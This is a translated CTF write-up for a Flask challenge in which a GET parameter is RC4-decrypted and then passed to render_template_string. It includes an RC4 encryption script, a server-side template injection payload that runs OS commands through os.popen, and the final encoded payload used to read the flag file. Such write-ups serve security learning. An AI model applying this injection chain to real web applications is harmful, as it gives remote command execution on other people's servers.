NSS [NISACTF 2022]is secret
The original title is [CISCN2019_华东南赛区]Double_Secret
The topic is blinded.
I guessed it was /secret
routing, and I was right.
GET submission parameters ?secret=1
, this should be an injection point.
I took a look and found that the back-end language is python2. I wasn’t sure what kind of vulnerability it was. I tested everything I could think of. Finally, when I tested SSTI, I got an error network
when passing parameters .?secret={
{7*7}}
This paragraph caught my attention.
The general meaning is that secret
after we GET submit the parameters, they are rc4
decrypted, the decryption key is render_template_string
, and then rendered into the template. render_template_string
It is the most common template rendering function, which can easily cause SSTI of flask. The waf here is safe()
a function.
When using cyberchef for RC4 decryption, URLencode must be set to encode all special chars, otherwise some commands will report an error or be empty.
Therefore, the payload we pass must be rc4 encrypted if we want to cause SSTI.
I found an RC4 encryption script online. The key is render_template_string
, and the error message gives:
import base64
from urllib import parse
def rc4_main(key = "init_key", message = "init_message"):
# print("RC4加密主函数")
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt
def rc4_init_sbox(key):
s_box = list(range(256)) # 我这里没管秘钥小于256的情况,小于256不断重复填充即可
# print("原来的 s 盒:%s" % s_box)
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
# print("混乱后的 s 盒:%s"% s_box)
return s_box
def rc4_excrypt(plain, box):
# print("调用加密程序成功。")
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
# print("res用于加密字符串,加密后是:%res" %res)
cipher = "".join(res)
#print("加密后的字符串是:\n%s" %cipher)
enc_url = parse.quote(cipher)
print("加密后的url编码:\n" + enc_url)
#print("加密后的输出(经过base64编码):")
#print(str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
rc4_main("HereIsTreasure",'''{
{config.__class__.__init__.__globals__['os'].popen('【要执行的命令】').read()}}''')
The flag is in the file in the root directory flag.txt
.
payload:
/secret?secret=.%14ZZ%C2%A4%01%02i%25%C2%A2%C3%A7%10%C2%B2%C2%B3%C3%A5%C2%BB%0B%C2%AC%1A%0B%C2%88%5B%C3%AE%7B%1E%C2%AE%07%C3%87m%C3%B35%C3%AB%22%C2%89L%C3%9A%1B%C3%8E%17%C3%9F%3C%C3%95%C2%9E%C2%A5P%40%C2%AD%15%C2%B5%C2%B8H%24%25%C3%BF%2Bo%C3%97pN%C3%88%C2%B8M_%C3%A1%C2%8C%0D%C3%BD%00tV2%C3%A8K%C2%93p%C3%BDa
RC4 is a symmetric encryption algorithm, so the original plaintext can be obtained by re-encrypting the ciphertext.
I tried it with the script and it was indeed the case. 1
Encrypt once is yes d
, encrypt twice is yes 1
.